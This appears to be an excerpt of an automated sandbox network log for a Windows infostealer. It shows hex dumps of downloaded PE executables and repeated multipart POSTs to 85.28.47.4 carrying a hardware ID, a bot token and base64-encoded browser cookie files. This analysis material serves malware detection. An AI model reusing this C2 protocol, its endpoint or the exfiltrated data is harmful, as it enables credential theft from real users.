00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 02 Jul 2024 10:21:06 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "13bf0-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 02 Jul 2024 10:21:10 GMTContent-Type: application/octet-streamContent-Length: 1905152Last-Modified: Tue, 02 Jul 2024 09:29:28 GMTConnection: keep-aliveETag: "6683c878-1d1200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 84 ea 61 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e4 04 00 00 c6 01 00 00 00 00 00 00 70 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 4b 00 00 04 00 00 3a c1 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 a0 06 00 6c 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9c 57 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4c 57 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 dc 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ec 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 b0 2a 00 00 b0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 71 6e 78 71 78 67 75 00 00 1a 00 00 60 31 00 00 fa 19 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 6f 74 74 71 71 6b 76 00 10 00 00 00 60 4b 00 00 04 00 00 00 ec 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 70 4b 00 00 22 00 00 00 f0 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 02 Jul 2024 10:21:28 GMTContent-Type: application/octet-streamContent-Length: 2533376Last-Modified: Tue, 02 Jul 2024 08:05:15 GMTConnection: keep-aliveETag: "6683b4bb-26a800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 4a 8c 64 5a 0e ed 0a 09 0e ed 0a 09 0e ed 0a 09 61 9b a1 09 16 ed 0a 09 61 9b 94 09 03 ed 0a 09 61 9b a0 09 35 ed 0a 09 07 95 89 09 0d ed 0a 09 07 95 99 09 0c ed 0a 09 8e 94 0b 08 0d ed 0a 09 0e ed 0b 09 5a ed 0a 09 61 9b a5 09 01 ed 0a 09 61 9b 97 09 0f ed 0a 09 52 69 63 68 0e ed 0a 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 f6 41 83 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ac 01 00 00 e8 21 00 00 00 00 00 28 8e be 00 00 10 00 00 00 c0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 b0 be 00 00 04 00 00 00 00 00 00 02 00 40 80 00 00 20 00 00 20 00 00 00 00 20 00 00 20 00 00 00 00 00 00 10 00 00 00 20 60 9c 00 0c 0f 00 00 2c 6f 9c 00 0c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 9c 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 01 00 00 10 00 00 00 a4 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 80 00 00 00 c0 01 00 00 40 00 00 00 a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 30 21 00 00 40 02 00 00 04 00 00 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 50 00 00 00 70 23 00 00 20 00 00 00 ec 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 70 78 00 00 c0 23 00 00 28 03 00 00 0c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 64 61 74 61 00 00 00 00 80 22 00 00 30 9c 00 00 74 22 00 00 34 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAKKEGCAAECAAAKFBGIEHost: 85.28.47.4Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 4b 4b 45 47 43 41 41 45 43 41 41 41 4b 46 42 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 39 36 36 34 38 42 45 41 34 44 39 32 34 33 30 38 33 38 35 37 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 4b 45 47 43 41 41 45 43 41 41 41 4b 46 42 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6a 6f 6e 79 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 4b 45 47 43 41 41 45 43 41 41 41 4b 46 42 47 49 45 2d 2d 0d 0a Data Ascii: ------BAKKEGCAAECAAAKFBGIEContent-Disposition: form-data; name="hwid"396648BEA4D9243083857------BAKKEGCAAECAAAKFBGIEContent-Disposition: form-data; name="build"jony------BAKKEGCAAECAAAKFBGIE--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJKJKFCBKKJDGDHIDBGIHost: 85.28.47.4Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4b 4a 4b 46 43 42 4b 4b 4a 44 47 44 48 49 44 42 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 31 36 64 38 30 65 61 31 39 37 62 61 38 31 33 33 36 63 35 61 30 30 32 31 63 65 63 65 65 36 39 66 66 66 32 31 32 30 63 64 34 35 33 63 33 36 65 65 63 34 35 65 65 33 39 62 39 36 35 37 32 39 37 32 31 35 36 66 30 34 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 4a 4b 46 43 42 4b 4b 4a 44 47 44 48 49 44 42 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 4a 4b 46 43 42 4b 4b 4a 44 47 44 48 49 44 42 47 49 2d 2d 0d 0a Data Ascii: ------KJKJKFCBKKJDGDHIDBGIContent-Disposition: form-data; name="token"016d80ea197ba81336c5a0021cecee69fff2120cd453c36eec45ee39b96572972156f044------KJKJKFCBKKJDGDHIDBGIContent-Disposition: form-data; name="message"browsers------KJKJKFCBKKJDGDHIDBGI--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECFHIJKJKFIDHJKFBGHCHost: 85.28.47.4Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 46 48 49 4a 4b 4a 4b 46 49 44 48 4a 4b 46 42 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 31 36 64 38 30 65 61 31 39 37 62 61 38 31 33 33 36 63 35 61 30 30 32 31 63 65 63 65 65 36 39 66 66 66 32 31 32 30 63 64 34 35 33 63 33 36 65 65 63 34 35 65 65 33 39 62 39 36 35 37 32 39 37 32 31 35 36 66 30 34 34 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 48 49 4a 4b 4a 4b 46 49 44 48 4a 4b 46 42 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 48 49 4a 4b 4a 4b 46 49 44 48 4a 4b 46 42 47 48 43 2d 2d 0d 0a Data Ascii: ------ECFHIJKJKFIDHJKFBGHCContent-Disposition: form-data; name="token"016d80ea197ba81336c5a0021cecee69fff2120cd453c36eec45ee39b96572972156f044------ECFHIJKJKFIDHJKFBGHCContent-Disposition: form-data; name="message"plugins------ECFHIJKJKFIDHJKFBGHC--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAEHIDAKECFIEBGDHJEBHost: 85.28.47.4Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 31 36 64 38 30 65 61 31 39 37 62 61 38 31 33 33 36 63 35 61 30 30 32 31 63 65 63 65 65 36 39 66 66 66 32 31 32 30 63 64 34 35 33 63 33 36 65 65 63 34 35 65 65 33 39 62 39 36 35 37 32 39 37 32 31 35 36 66 30 34 34 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 2d 2d 0d 0a Data Ascii: ------AAEHIDAKECFIEBGDHJEBContent-Disposition: form-data; name="token"016d80ea197ba81336c5a0021cecee69fff2120cd453c36eec45ee39b96572972156f044------AAEHIDAKECFIEBGDHJEBContent-Disposition: form-data; name="message"fplugins------AAEHIDAKECFIEBGDHJEB--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDHJEBFBFHJECAKFCAAKHost: 85.28.47.4Content-Length: 7571Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/sqlite3.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDHIIDAFIDGCFHJJDGDAHost: 85.28.47.4Content-Length: 751Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 48 49 49 44 41 46 49 44 47 43 46 48 4a 4a 44 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 31 36 64 38 30 65 61 31 39 37 62 61 38 31 33 33 36 63 35 61 30 30 32 31 63 65 63 65 65 36 39 66 66 66 32 31 32 30 63 64 34 35 33 63 33 36 65 65 63 34 35 65 65 33 39 62 39 36 35 37 32 39 37 32 31 35 36 66 30 34 34 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 49 49 44 41 46 49 44 47 43 46 48 4a 4a 44 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 49 49 44 41 46 49 44 47 43 46 48 4a 4a 44 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 56 46 4a 56 52 51 6b 76 43 55 5a 42 54 46 4e 46 43 54 45 32 4f 54 6b 77 4e 7a 59 31 4e 44 45 4a 4d 56 42 66 53 6b 46 53 43 54 49 77 4d 6a 4d 74 4d 54 41 74 4d 44 55 74 4d 44 63 4b 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 6b 31 4e 7a 51 77 43 55 35 4a 52 41 6b 31 4d 54 45 39 62 6b 35 68 5a 48 46 58 4f 58 56 55 59 31 6b 77 54 31 41 32 53 54 4e 68 5a 6d 35 79 4e 7a 46 76 4e 6b 56 36 59 56 6c 4d 63 32 52 77 56 7a 52 56 52 56 6c 4f 4d 33 5a 5a 63 56 39 79 59 6c 4a 79 54 6b 5a 34 54 54 46 71 62 33 70 51 52 33 56 6f 61 6b 39 53 51 6c 70 4c 53 30 31 36 4d 6e 52 6b 52 48 42 57 5a 54 64 6b 54 6e 56 55 56 33 41 30 51 33 6c 4c 4c 58 70 30 4e 55 6c 7a 4e 6e 64 57 52 57 78 32 5a 56 64 42 5a 6b 74 52 5a 33 64 4f 53 6d 6c 4c 53 33 52 59 53 45 4e 44 51 32 31 79 62 47 64 36 57 6c 52 73 4e 55 4e 70 53 32 70 55 5a 55 45 79 61 56 46 78 5a 6a 5a 36 62 46 4a 4c 4d 6d 67 34 64 32 63 78 61 46 5a 77 53 58 4e 58 63 32 46 4c 63 57 46 58 53 6e 6c 49 54 56 42 47 4d 30 70 42 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 49 49 44 41 46 49 44 47 43 46 48 4a 4a 44 47 44 41 2d 2d 0d 0a Data Ascii: ------GDHIIDAFIDGCFHJJDGDAContent-Disposition: form-data; name="token"016d80ea197ba81336c5a0021cecee69fff2120cd453c36eec45ee39b96572972156f044------GDHIIDAFIDGCFHJJDGDAContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------GDHIIDAFIDGCFHJJDGDAContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwNzY1NDEJMVBfSkFSCTIwMjMtMTAtMDUtMDcKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjk1NzQwCU5JRAk1MTE9bk5hZHFXOXVUY1kwT1A2STNhZm5yNzFvNkV6YVlMc
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFBFHDBKJEGHJJJKFIIJHost: 85.28.47.4Content-Length: 359Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 31 36 64 38 30 65 61 31 39 37 62 61 38 31 33 33 36 63 35 61 30 30 32 31 63 65 63 65 65 36 39 66 66 66 32 31 32 30 63 64 34 35 33 63 33 36 65 65 63 34 35 65 65 33 39 62 39 36 35 37 32 39 37 32 31 35 36 66 30 34 34 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 2d 2d 0d 0a Data Ascii: ------AFBFHDBKJEGHJJJKFIIJContent-Disposition: form-data; name="token"016d80ea197ba81336c5a0021cecee69fff2120cd453c36eec45ee39b96572972156f044------AFBFHDBKJEGHJJJKFIIJContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------AFBFHDBKJEGHJJJKFIIJContent-Disposition: form-data; name="file"------AFBFHDBKJEGHJJJKFIIJ--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKJKFBKKECFHJKEBKEHIHost: 85.28.47.4Content-Length: 359Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 31 36 64 38 30 65 61 31 39 37 62 61 38 31 33 33 36 63 35 61 30 30 32 31 63 65 63 65 65 36 39 66 66 66 32 31 32 30 63 64 34 35 33 63 33 36 65 65 63 34 35 65 65 33 39 62 39 36 35 37 32 39 37 32 31 35 36 66 30 34 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 49 2d 2d 0d 0a Data Ascii: ------KKJKFBKKECFHJKEBKEHIContent-Disposition: form-data; 